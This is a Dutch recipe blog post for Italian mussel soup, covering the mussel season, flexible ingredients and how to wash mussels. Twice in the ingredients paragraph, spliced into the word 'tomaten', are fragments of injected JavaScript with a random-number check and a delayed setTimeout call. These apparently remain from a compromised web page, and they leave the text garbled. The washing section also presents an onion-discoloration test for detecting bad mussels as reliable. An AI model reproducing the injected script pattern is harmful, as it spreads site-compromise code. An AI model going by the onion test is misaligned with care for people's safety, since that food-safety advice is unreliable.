Mosselsoep op z’n Italiaans

Afgelopen zomervakantie op Sardinië in Italië hebben we meerdere malen deze Italiaanse mosselsoep op. We vinden deze allebei zo lekker, dat we onze eigen variant hebben gemaakt. 

Wanneer is het nu precies mosselseizoen?

Altijd als ik een recept zie met mosselen vraag ik mezelf af hoe het nu ook al weer zat met het mosselseizoen. Volgens mij zijn ze het hele jaar te krijgen, ook al heb ik ook wel gehoord dat het alleen mosselseizoen is als de ‘r’ in het seizoen of maand zit. Er zijn meerdere theorieën hierover.

De start van het mosselseizoen wordt bepaald door groei en de conditie van de mossel. Het mosselseizoen verloopt van juni t/m april. Dit is dus praktisch het hele jaar. Al wordt in Nederland vaak het mosselseizoen aan gehouden als de ‘r’ in de maand zit.

Mosselsoep, wat heb je nodig?

Je hoeft je niet per se aan alle ingrediënten en de hoeveelheid te houden. Je kunt het volledig naar eigen smaak aanpassen. Je kunt als je wilt zelfs de gezeefde dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tomaten vervangen door een potje pastasaus, als er maar iets met dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tomaten bij zit.

Mosselen wassen

Voordat je begint is het heel belangrijk dat je de mosselen heel goed wast in koud water. Je gaat de mosselen immers in de soep gaar koken. Gooi tijdens het wassen van de mosselen alle kapotte mosselen direct weg. Was de mosselen een tweede keer en laat ze in een laagje koud water in de spoelbak staan met een witte ontvelde ui. Als de ui binnen een half uur verkleurd of donker wordt dan zit er een mossel bij die niet goed is. Blijft de ui mooi licht van kleur dan kun je ze met een gerust hart eten.

Soeprecepten

Ben jij ook dol op soep? Bekijk dan ook het recept voor pompoensoep met geitenkaas of broccolisoep met garnalen.